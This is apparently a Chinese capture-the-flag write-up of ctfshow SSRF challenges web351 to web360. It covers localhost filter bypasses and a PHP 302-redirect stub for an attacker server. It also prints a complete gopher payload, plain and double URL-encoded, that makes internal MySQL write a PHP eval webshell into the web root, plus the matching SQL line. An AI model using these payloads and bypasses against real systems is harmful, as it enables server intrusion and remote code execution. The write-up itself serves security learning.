SSRF的学习笔记可以说是基本上全是抄的whoami的了,就不放了,大家可以去http://www.whoamianony.top/2021/01/16/Web%E5%AE%89%E5%85%A8/SSRF%20%E6%BC%8F%E6%B4%9E%E9%82%A3%E4%BA%9B%E4%B8%96%E4%BA%BA%E7%9A%86%E7%9F%A5%E7%9A%84%E4%BA%8B/ 自己看,以及whoami最近的文章里还有使用ftp协议的攻击方式,tql,膜。

web351

进来一看就是很简单的一个SSRF的漏洞,访问一下flag.php试试,可以看到:

image.png

POST一个url=http://127.0.0.1/flag.php就好了,很简单的仿造本地请求

image.png

web352

这里多了两条过滤

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/'))

image.png

0.0.0.0轻松绕过

web353

同上,那看来上一道题有另一种绕过方法,看这个题多过滤了,多半是127。0。0。1了。

web354

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url))

把0和1都给ban了就不知道该怎么办了,看了一下yu师傅的博客,这题的本意是unicode的替换:

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

IDNA(Internationalizing Domain Names in Applications)应用程序国际化域名 ​
IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。

国际化域名(IDN)最初是由马丁·杜斯特于1996年12月提出。1998年在新加坡国立大学教授陈定炜的指导下,Tan Juay
Kwang和Leong Kok
Yong将其付诸实施。经过许多讨论和对比各种提案后,应用程序国际化域名(IDNA)被采纳为正式标准,并被用在许多顶级域名中。在IDNA中,“国际化域名”特指可以成功将IDNA转化为十进位制ASCII的域名。

但是这题不行,很烦,所以就用自己的域名,让他解析到127.0.0.1来用。
或者用yu师傅说的这个:http://sudo.cc/,这就是个解析到127.0.0.1的域名,直接用即可

web355

这个题限制了长度<=5,我们可以用一个0绕过

image.png

web356

<=3 有用?0只有1...

上面那个应该是想让我们用127.1绕

image.png

web357

这一段代码审不明白,看不懂的东西太多了

简单学习了一下$x['']这个东西就是截取一部分URL的一个代码,比如一个https://example.com/flag.php

$x['host'] => example.com,$x['scheme'] => https,$x['path'] => flag.php

https://blog.csdn.net/weixin_42508058/article/details/115171916参考这篇文章,里面还有$_SERVER[""]相关的

然后gethostbyname返回主机名 hostname 对应的 IPv4 互联网地址,,就是ip地址。

filter_var使用特定的过滤器过滤一个变量

FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE这些就都是用到的过滤器了,具体用法如下:

image.png

简单理解一下就是一个过滤私有IP的过程

可以利用302跳转或者dns重绑定,302跳转从羽师傅那里学习到了个新姿势,在自己vps那里写个:

<?php
header("Location:http://127.0.0.1/flag.php"); 

然后访问http://xxx.xxx.xxx.xxx/xxx.php就可以了

web358

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

这里就是利用的parse_url的那个解析

url必须以http://ctf.开头,必须以show结尾。
以show结尾比较好办,要么#show,要么?a=show这样的都可以。
以http://ctf.开头的话,加上一个@127.0.0.1就可以绕过了,这样parse_url解析出来的host是127.0.0.1,考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。

image.png

web359

gopher协议打内网mysql

image.png

在源码中我们可以看到这样一段

我们抓一下包,发现有u也就是我们的用户名和一个returl参数,指向ctfshow的404网址

image.png

我们随便输一个其他网址后发现都可以跳转

image.png

推测这里存在SSRF的点,然后大概的思路应该是先扫本地端口吧,然后最终再根据开启的服务进行攻击

这里我懒了,直接上网找的payload,这里执行的sql语句相当于写入操作,学习了。

image.png

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%62%2e%70%68%70%22%01%00%00%00%01

不要忘记把_后面的这部分再URL编码一遍

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2530%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2562%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

然后连上我们写入的shell就好了

image.png

select "<?php eval($_POST['sp4c1ous']);?>" into outfile "/var/www/html/c.php"

image.png

写马和RCE都规范点,不然报错连连。。

web360

很简单的源码,看hint我们可以知道,这里是打redis,正常还是应该dict协议扫内网服务的端口开启情况

这里我们直接开始打吧

https://xz.aliyun.com/t/5665

http://www.whoamianony.top/2021/01/16/Web%E5%AE%89%E5%85%A8/SSRF%20%E6%BC%8F%E6%B4%9E%E9%82%A3%E4%BA%9B%E4%B8%96%E4%BA%BA%E7%9A%86%E7%9F%A5%E7%9A%84%E4%BA%8B/

推荐学习文章

这个题我是很简单的去用gopherus直接打出来了,但是看到了一个师傅说了,不能单传依赖工具,要明白其中的原理,还是好好学了学

image.png

不要二次编码 第一个地方是web根目录位置,默认的即可,工具生成的shell文件默认为shell.php

image.png


重为轻根,静为躁君。